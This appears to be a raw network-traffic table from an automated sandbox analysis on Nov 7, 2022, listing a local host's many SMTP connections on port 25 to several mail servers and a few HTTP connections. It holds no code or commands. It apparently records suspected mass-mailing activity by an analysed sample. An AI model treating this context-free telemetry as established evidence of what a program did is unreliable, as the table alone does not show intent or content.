Nov 7, 2022 22:24:51.056308031 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056355953 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056390047 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056566954 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056598902 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056646109 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056646109 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056682110 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056714058 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056746006 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056777954 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056797981 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.056824923 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.056927919 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.057046890 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.057076931 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.057101011 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.057106972 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.057132006 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.057138920 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.057167053 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.057404995 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.057437897 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.057945013 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.057979107 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058008909 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058038950 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058068037 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058094025 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058123112 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058151960 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058182001 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058211088 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058240891 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058269024 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058299065 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058327913 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058590889 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058620930 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058650017 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058679104 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058706999 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058736086 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.058765888 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.062591076 CET	49829	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:51.236541986 CET	80	49829	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:51.236592054 CET	80	49829	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:51.236785889 CET	49829	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:51.263963938 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:51.324436903 CET	49829	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:51.371630907 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.371665001 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.371690035 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372117996 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372164965 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372185946 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372206926 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372347116 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372370005 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372587919 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372612953 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372636080 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372972012 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.372994900 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373016119 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373037100 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373271942 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373295069 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373315096 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373460054 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373481989 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373503923 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373748064 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373771906 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373791933 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373814106 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373944998 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373966932 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.373987913 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374052048 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374072075 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374093056 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374283075 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374305010 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374325037 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374346972 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374902010 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374967098 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.374988079 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375008106 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375027895 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375152111 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375173092 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375329018 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375397921 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375421047 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375442028 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375462055 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375691891 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375719070 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375740051 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375760078 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375778913 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375899076 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375952959 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375973940 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.375993967 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376014948 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376034975 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376171112 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376192093 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376471043 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376493931 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376513958 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376534939 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376554012 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376573086 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376591921 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376611948 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376631975 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376652002 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376672029 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376724958 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376744986 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376764059 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376859903 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376882076 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.376894951 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377019882 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377098083 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377131939 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377151012 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377168894 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377187967 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377204895 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377441883 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377465963 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377485991 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377505064 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377523899 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377543926 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377562046 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377635002 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377696037 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377759933 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377780914 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377818108 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377837896 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377856016 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377887964 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.377907991 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.378000021 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.378020048 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.378037930 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.378150940 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.378225088 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.378245115 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.385668039 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:51.385842085 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:51.595587969 CET	49835	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:51.631108046 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:51.662681103 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.662813902 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:51.703178883 CET	25	49835	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:51.703237057 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:51.703380108 CET	49835	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:51.703716993 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.714689970 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:51.715648890 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:51.715769053 CET	49840	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:51.746206999 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.758059025 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.758275032 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:51.795175076 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.798297882 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.798429012 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:51.832751989 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:51.833009005 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:51.834068060 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.836893082 CET	25	49835	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:51.837244987 CET	49835	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:51.859625101 CET	25	49839	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:51.859659910 CET	25	49840	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:51.859736919 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:51.859781981 CET	49840	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:51.886167049 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.886213064 CET	25	49806	142.250.157.27	192.168.2.5
Nov 7, 2022 22:24:51.886353016 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.946722031 CET	25	49835	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:51.947026014 CET	49835	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:51.950372934 CET	49806	25	192.168.2.5	142.250.157.27
Nov 7, 2022 22:24:51.954777956 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:51.958841085 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.959126949 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:51.985802889 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:51.985922098 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:51.990833998 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.999432087 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:51.999736071 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.013528109 CET	25	49840	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.013627052 CET	25	49839	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.036984921 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.037158012 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.042473078 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.055023909 CET	25	49835	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:52.061697960 CET	49840	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.061716080 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.064656973 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.064659119 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.064662933 CET	49840	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.064662933 CET	49835	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:52.068869114 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.093338966 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.126676083 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.143388987 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.149919987 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:52.156570911 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.156757116 CET	49847	80	192.168.2.5	199.59.243.222
Nov 7, 2022 22:24:52.173057079 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.177050114 CET	80	49847	199.59.243.222	192.168.2.5
Nov 7, 2022 22:24:52.177256107 CET	49847	80	192.168.2.5	199.59.243.222
Nov 7, 2022 22:24:52.188131094 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188162088 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188184977 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188203096 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188218117 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188237906 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188254118 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188286066 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.188286066 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.188369036 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188380957 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188400984 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.188400030 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.188400984 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.188400984 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.188517094 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.188517094 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.188517094 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.200141907 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.200360060 CET	25	49835	104.47.55.138	192.168.2.5
Nov 7, 2022 22:24:52.200448990 CET	49847	80	192.168.2.5	199.59.243.222
Nov 7, 2022 22:24:52.209902048 CET	25	49839	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.210081100 CET	25	49840	209.51.188.92	192.168.2.5
Nov 7, 2022 22:24:52.219105959 CET	80	49847	199.59.243.222	192.168.2.5
Nov 7, 2022 22:24:52.219882011 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.219926119 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.219952106 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.219976902 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.219999075 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220002890 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220021963 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220043898 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220067024 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220088959 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220110893 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220120907 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220122099 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220122099 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220133066 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220153093 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220176935 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220197916 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220215082 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220215082 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220221996 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220215082 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220246077 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220269918 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220292091 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220293045 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220293045 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220293045 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220293045 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220318079 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220351934 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.220355988 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220355988 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220355988 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220412970 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.220412970 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.232270956 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.248120070 CET	49839	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.248167992 CET	49840	25	192.168.2.5	209.51.188.92
Nov 7, 2022 22:24:52.249248981 CET	49835	25	192.168.2.5	104.47.55.138
Nov 7, 2022 22:24:52.251990080 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252032042 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252053976 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252067089 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252075911 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252096891 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252104998 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252119064 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252135038 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252141953 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252160072 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252167940 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252191067 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252198935 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252213955 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252223015 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252235889 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252259016 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252259016 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252304077 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252309084 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252326012 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252347946 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252351999 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252367020 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252371073 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252393007 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252405882 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252415895 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252424955 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252439022 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252449989 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252460957 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252475023 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252489090 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252490997 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252511978 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252517939 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252535105 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252538919 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252557993 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252564907 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252580881 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252584934 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252603054 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252609015 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252628088 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252635002 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252650976 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252665043 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252672911 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252676964 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252696037 CET	25	49838	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:52.252703905 CET	49838	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:52.252717972 CET	25	49838	142.250.147.27	192.168.2.5
